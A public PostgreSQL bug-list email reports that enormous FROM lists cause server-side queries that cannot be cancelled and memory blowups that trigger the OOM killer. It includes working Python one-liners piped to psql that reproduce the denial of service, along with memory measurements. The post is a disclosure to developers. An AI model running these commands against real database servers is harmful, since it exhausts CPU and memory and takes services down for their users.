public inbox for pgsql-bugs@postgresql.org
help / color / mirror / Atom feedFrom: Anton Fedorov <datacompboy@gmail.com>
To: pgsql-bugs@lists.postgresql.org
Subject: Fwd: Non-cancellable queries
Date: Tue, 19 May 2026 22:44:33 +0200
Message-ID: <CACNOLFGH_GPGXwzN23RXYbj3PaDxYKahHRGXnchCa7B=1TS7+w@mail.gmail.com> (raw)
In-Reply-To: <CACNOLFFvMX521BZvPFyGwW=WOWk_1u-zqAm+j3BerYA6mx0jCA@mail.gmail.com>
References: <CACNOLFFvMX521BZvPFyGwW=WOWk_1u-zqAm+j3BerYA6mx0jCA@mail.gmail.com>
Hello!
There is an interesting issue in PostgreSQL handling "FROM" list that could
be used to trigger DoS.
The issue is here from ancient times, reproducible on the latest release as
well:
docker pull postgres:latest
docker run postgres:latest
python -c "n=200000;print('with x as (select 1) select 1 from x
x',end='');any(print(str(x),end=',x x') for x in range(n))" | psql -h
172.17.0.3 -Upostgres -A &
killall -9 psql
You can run as many queries as you want; the queries sitting server-side,
consuming CPU:
[image: image.png]
The only way to kill them is to restart the server or wait almost
indefinitely.
=======
There is also similar long query that actually works as QoD triggering oom
killer:
python -c "print('create table if not exists x(x int); SELECT FROM x',
end='');any(print(',x x',end=str(n)) for n in range(10000))" | psql
If the query references a `WITH x AS (...)` table, it fails as expected
with a stack too deep.
When the query references an existing table, it consumes an enormous amount
of memory (and time) before failing anyway.
I've added memory tracking, and roughly:
4000 => 3.6 gb
5000 => 7.9 gb
6000 => 13.2 gb
7000 => 19.2 gb
8000 => 26.4 gb
9000 => 42 gb
10000 => 60 gb
11000 => 80 gb
12000 => 102 gb
Attachments:
[image/png] image.png (93.1K, 3-image.png)
download | view image
reply
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Reply to all the recipients using the --to and --cc options:
reply via email
To: pgsql-bugs@postgresql.org
Cc: datacompboy@gmail.com, pgsql-bugs@lists.postgresql.org
Subject: Re: Fwd: Non-cancellable queries
In-Reply-To: <CACNOLFGH_GPGXwzN23RXYbj3PaDxYKahHRGXnchCa7B=1TS7+w@mail.gmail.com>
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
This inbox is served by agora; see mirroring instructions
for how to clone and mirror all data and code used for this inbox